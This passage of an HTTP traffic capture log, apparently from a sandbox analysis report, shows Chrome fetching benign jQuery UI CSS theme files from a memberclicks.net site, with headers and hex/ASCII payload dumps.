2024-04-23 14:54:01 UTC	777	OUT	GET /includes/css/themes/base/ui.resizable.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:01 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:01 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"3e1-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:01 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafbc2a3553ba-ATL
2024-04-23 14:54:01 UTC	842	IN	Data Raw: 33 65 31 0d 0a 2f 2a 20 52 65 73 69 7a 61 62 6c 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 75 69 2d 72 65 73 69 7a 61 62 6c 65 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 7d 0a 2e 75 69 2d 72 65 73 69 7a 61 62 6c 65 2d 68 61 6e 64 6c 65 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 31 70 78 3b 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 39 3b 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 7d 0a 2e 75 69 2d 72 65 73 69 7a 61 62 6c 65 2d 64 69 73 61 62 6c 65 64 20 2e 75 69 2d 72 65 73 69 7a 61 62 6c 65 2d 68 61 6e 64 6c 65 2c 20 2e 75 69 2d 72 65 73 69 7a 61 62 6c 65 2d 61 75 74 6f 68 69 64 65 20 2e 75 69 Data Ascii: 3e1/* Resizable----------------------------------*/.ui-resizable { position: relative;}.ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block;}.ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui
2024-04-23 14:54:01 UTC	158	IN	Data Raw: 63 75 72 73 6f 72 3a 20 6e 77 2d 72 65 73 69 7a 65 3b 20 77 69 64 74 68 3a 20 39 70 78 3b 20 68 65 69 67 68 74 3a 20 39 70 78 3b 20 6c 65 66 74 3a 20 2d 35 70 78 3b 20 74 6f 70 3a 20 2d 35 70 78 3b 20 7d 0a 2e 75 69 2d 72 65 73 69 7a 61 62 6c 65 2d 6e 65 20 7b 20 63 75 72 73 6f 72 3a 20 6e 65 2d 72 65 73 69 7a 65 3b 20 77 69 64 74 68 3a 20 39 70 78 3b 20 68 65 69 67 68 74 3a 20 39 70 78 3b 20 72 69 67 68 74 3a 20 2d 35 70 78 3b 20 74 6f 70 3a 20 2d 35 70 78 3b 7d 0d 0a Data Ascii: cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; }.ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}
2024-04-23 14:54:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.6	49919	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:01 UTC	777	OUT	GET /includes/css/themes/base/ui.accordion.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:01 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:01 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"2db-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:01 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafbc28c1ad52-ATL
2024-04-23 14:54:01 UTC	738	IN	Data Raw: 32 64 62 0d 0a 2f 2a 20 41 63 63 6f 72 64 69 6f 6e 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 75 69 2d 61 63 63 6f 72 64 69 6f 6e 20 2e 75 69 2d 61 63 63 6f 72 64 69 6f 6e 2d 68 65 61 64 65 72 20 7b 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 70 78 3b 20 7a 6f 6f 6d 3a 20 31 3b 20 7d 0a 2e 75 69 2d 61 63 63 6f 72 64 69 6f 6e 20 2e 75 69 2d 61 63 63 6f 72 64 69 6f 6e 2d 6c 69 2d 66 69 78 20 7b 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 7d 0a 2e 75 69 2d 61 63 63 6f 72 64 69 6f 6e 20 2e 75 69 2d 61 63 63 6f 72 64 69 6f 6e 2d 68 65 61 64 65 72 2d 61 63 74 69 76 65 20 Data Ascii: 2db/* Accordion----------------------------------*/.ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; }.ui-accordion .ui-accordion-li-fix { display: inline; }.ui-accordion .ui-accordion-header-active
2024-04-23 14:54:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.6	49920	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:01 UTC	774	OUT	GET /includes/css/themes/base/ui.dialog.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:01 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:01 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"53a-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:01 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafbc2a4b1d74-ATL
2024-04-23 14:54:01 UTC	842	IN	Data Raw: 35 33 61 0d 0a 2f 2a 20 44 69 61 6c 6f 67 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 75 69 2d 64 69 61 6c 6f 67 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 3b 20 77 69 64 74 68 3a 20 33 30 30 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 20 7d 0a 2e 75 69 2d 64 69 61 6c 6f 67 20 2e 75 69 2d 64 69 61 6c 6f 67 2d 74 69 74 6c 65 62 61 72 20 7b 20 70 61 64 64 69 6e 67 3a 20 2e 35 65 6d 20 2e 33 65 6d 20 2e 33 65 6d 20 31 65 6d 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 20 7d 0a 2e 75 69 2d 64 69 61 6c 6f 67 20 2e 75 69 2d 64 69 61 6c 6f 67 2d 74 Data Ascii: 53a/* Dialog----------------------------------*/.ui-dialog { position: relative; padding: .2em; width: 300px; font-size:11px; }.ui-dialog .ui-dialog-titlebar { padding: .5em .3em .3em 1em; position: relative; font-size:11px; }.ui-dialog .ui-dialog-t
2024-04-23 14:54:01 UTC	503	IN	Data Raw: 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 20 30 20 30 20 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 6e 6f 6e 65 3b 20 6d 61 72 67 69 6e 3a 20 2e 35 65 6d 20 30 20 30 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 2e 33 65 6d 20 31 65 6d 20 2e 35 65 6d 20 2e 34 65 6d 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 20 7d 0a 2e 75 69 2d 64 69 61 6c 6f 67 20 2e 75 69 2d 64 69 61 6c 6f 67 2d 62 75 74 74 6f 6e 70 61 6e 65 20 62 75 74 74 6f 6e 20 7b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 6d 61 72 67 69 6e 3a 20 2e 35 65 6d 20 2e 34 65 6d 20 2e 35 65 6d 20 30 3b 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 20 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 36 65 6d 20 2e Data Ascii: { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; font-size:11px; }.ui-dialog .ui-dialog-buttonpane button { float: right; margin: .5em .4em .5em 0; cursor: pointer; padding: .2em .6em .
2024-04-23 14:54:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.6	49921	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:01 UTC	774	OUT	GET /includes/css/themes/base/ui.slider.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:01 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:01 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"3a3-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:01 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafbd5e931395-ATL
2024-04-23 14:54:01 UTC	842	IN	Data Raw: 33 61 33 0d 0a 2f 2a 20 53 6c 69 64 65 72 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 75 69 2d 73 6c 69 64 65 72 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 20 7d 0a 2e 75 69 2d 73 6c 69 64 65 72 20 2e 75 69 2d 73 6c 69 64 65 72 2d 68 61 6e 64 6c 65 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 7a 2d 69 6e 64 65 78 3a 20 32 3b 20 77 69 64 74 68 3a 20 31 2e 32 65 6d 3b 20 68 65 69 67 68 74 3a 20 31 2e 32 65 6d 3b 20 63 75 72 73 6f 72 3a 20 64 65 66 61 75 6c 74 3b 20 7d 0a 2e 75 69 2d 73 6c 69 64 65 72 20 2e 75 69 2d 73 6c 69 64 65 72 2d 72 61 6e 67 65 20 7b 20 70 6f 73 69 74 69 6f 6e 3a Data Ascii: 3a3/* Slider----------------------------------*/.ui-slider { position: relative; text-align: left; }.ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; }.ui-slider .ui-slider-range { position:
2024-04-23 14:54:01 UTC	96	IN	Data Raw: 74 69 63 61 6c 20 2e 75 69 2d 73 6c 69 64 65 72 2d 72 61 6e 67 65 2d 6d 69 6e 20 7b 20 62 6f 74 74 6f 6d 3a 20 30 3b 20 7d 0a 2e 75 69 2d 73 6c 69 64 65 72 2d 76 65 72 74 69 63 61 6c 20 2e 75 69 2d 73 6c 69 64 65 72 2d 72 61 6e 67 65 2d 6d 61 78 20 7b 20 74 6f 70 3a 20 30 3b 20 7d 0d 0a Data Ascii: tical .ui-slider-range-min { bottom: 0; }.ui-slider-vertical .ui-slider-range-max { top: 0; }
2024-04-23 14:54:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.6	49922	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:01 UTC	772	OUT	GET /includes/css/themes/base/ui.tabs.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:02 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:01 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"40c-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:01 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafbdbee87bca-ATL
2024-04-23 14:54:02 UTC	842	IN	Data Raw: 34 30 63 0d 0a 2f 2a 20 54 61 62 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 75 69 2d 74 61 62 73 20 7b 20 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 3b 20 7a 6f 6f 6d 3a 20 31 3b 20 7d 0a 2e 75 69 2d 74 61 62 73 20 2e 75 69 2d 74 61 62 73 2d 6e 61 76 20 7b 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 32 65 6d 20 30 3b 20 7d 0a 2e 75 69 2d 74 61 62 73 20 2e 75 69 2d 74 61 62 73 2d 6e 61 76 20 6c 69 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 77 69 64 74 68 3a 20 30 Data Ascii: 40c/* Tabs----------------------------------*/.ui-tabs { padding: .2em; zoom: 1; }.ui-tabs .ui-tabs-nav { list-style: none; position: relative; padding: .2em .2em 0; }.ui-tabs .ui-tabs-nav li { position: relative; float: left; border-bottom-width: 0
2024-04-23 14:54:02 UTC	201	IN	Data Raw: 75 72 73 6f 72 3a 20 74 65 78 74 20 6f 76 65 72 61 6c 6c 20 69 66 20 64 65 66 69 6e 65 64 20 65 6c 73 65 77 68 65 72 65 2e 2e 2e 20 2a 2f 0a 2e 75 69 2d 74 61 62 73 20 2e 75 69 2d 74 61 62 73 2d 70 61 6e 65 6c 20 7b 20 70 61 64 64 69 6e 67 3a 20 31 65 6d 20 31 2e 34 65 6d 3b 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 20 7d 0a 2e 75 69 2d 74 61 62 73 20 2e 75 69 2d 74 61 62 73 2d 68 69 64 65 20 7b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 0d 0a Data Ascii: ursor: text overall if defined elsewhere... */.ui-tabs .ui-tabs-panel { padding: 1em 1.4em; display: block; border-width: 0; background: none; }.ui-tabs .ui-tabs-hide { display: none !important; }
2024-04-23 14:54:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.6	49923	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:01 UTC	778	OUT	GET /includes/css/themes/base/ui.datepicker.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:02 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:02 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"f60-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:02 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafbfad49675c-ATL
2024-04-23 14:54:02 UTC	842	IN	Data Raw: 66 36 30 0d 0a 2f 2a 20 44 61 74 65 70 69 63 6b 65 72 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 7b 20 77 69 64 74 68 3a 20 31 37 65 6d 3b 20 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 32 65 6d 20 30 3b 20 7d 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 68 65 61 64 65 72 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 70 61 64 64 69 6e 67 3a 2e 32 65 6d 20 30 3b 20 7d 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 70 72 65 76 2c 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6e 65 78 Data Ascii: f60/* Datepicker----------------------------------*/.ui-datepicker { width: 17em; padding: .2em .2em 0; }.ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; }.ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-nex
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 7b 20 6d 61 72 67 69 6e 3a 20 30 20 32 2e 33 65 6d 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 38 65 6d 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7d 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 74 69 74 6c 65 20 73 65 6c 65 63 74 20 7b 20 66 6c 6f 61 74 3a 6c 65 66 74 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 20 6d 61 72 67 69 6e 3a 31 70 78 20 30 3b 20 7d 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 73 65 6c 65 63 74 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6d 6f 6e 74 68 2d 79 65 61 72 20 7b 77 69 64 74 68 3a 20 31 30 30 25 3b 7d 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 73 65 6c 65 63 74 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6d 6f 6e 74 68 2c 20 0a Data Ascii: { margin: 0 2.3em; line-height: 1.8em; text-align: center; }.ui-datepicker .ui-datepicker-title select { float:left; font-size:1em; margin:1px 0; }.ui-datepicker select.ui-datepicker-month-year {width: 100%;}.ui-datepicker select.ui-datepicker-month,
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 61 75 74 6f 20 2e 34 65 6d 3b 20 7d 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6d 75 6c 74 69 2d 32 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 67 72 6f 75 70 20 7b 20 77 69 64 74 68 3a 35 30 25 3b 20 7d 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6d 75 6c 74 69 2d 33 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 67 72 6f 75 70 20 7b 20 77 69 64 74 68 3a 33 33 2e 33 25 3b 20 7d 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6d 75 6c 74 69 2d 34 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 67 72 6f 75 70 20 7b 20 77 69 64 74 68 3a 32 35 25 3b 20 7d 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6d 75 6c 74 69 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 67 72 6f 75 70 2d 6c 61 73 74 20 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 68 Data Ascii: auto .4em; }.ui-datepicker-multi-2 .ui-datepicker-group { width:50%; }.ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; }.ui-datepicker-multi-4 .ui-datepicker-group { width:25%; }.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-h
2024-04-23 14:54:02 UTC	363	IN	Data Raw: 74 61 6b 65 6e 20 66 72 6f 6d 20 64 61 74 65 70 69 63 6b 65 72 20 31 2e 35 2e 33 20 2a 2f 0a 2e 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 63 6f 76 65 72 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 2f 2a 73 6f 72 72 79 20 66 6f 72 20 49 45 35 2a 2f 0a 20 20 20 20 64 69 73 70 6c 61 79 2f 2a 2a 2f 3a 20 62 6c 6f 63 6b 3b 20 2f 2a 73 6f 72 72 79 20 66 6f 72 20 49 45 35 2a 2f 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 2f 2a 6d 75 73 74 20 68 61 76 65 2a 2f 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 2d 31 3b 20 2f 2a 6d 75 73 74 20 68 61 76 65 2a 2f 0a 20 20 20 20 66 69 6c 74 65 72 3a 20 6d 61 73 6b 28 29 3b 20 2f 2a 6d 75 73 74 20 68 61 76 65 2a 2f 0a 20 20 20 20 74 6f 70 3a 20 2d 34 70 78 3b 20 2f 2a 6d 75 Data Ascii: taken from datepicker 1.5.3 /.ui-datepicker-cover { display: none; /sorry for IE5/ display//: block; /sorry for IE5/ position: absolute; /must have/ z-index: -1; /must have/ filter: mask(); /must have/ top: -4px; /mu
2024-04-23 14:54:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.6	49924	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
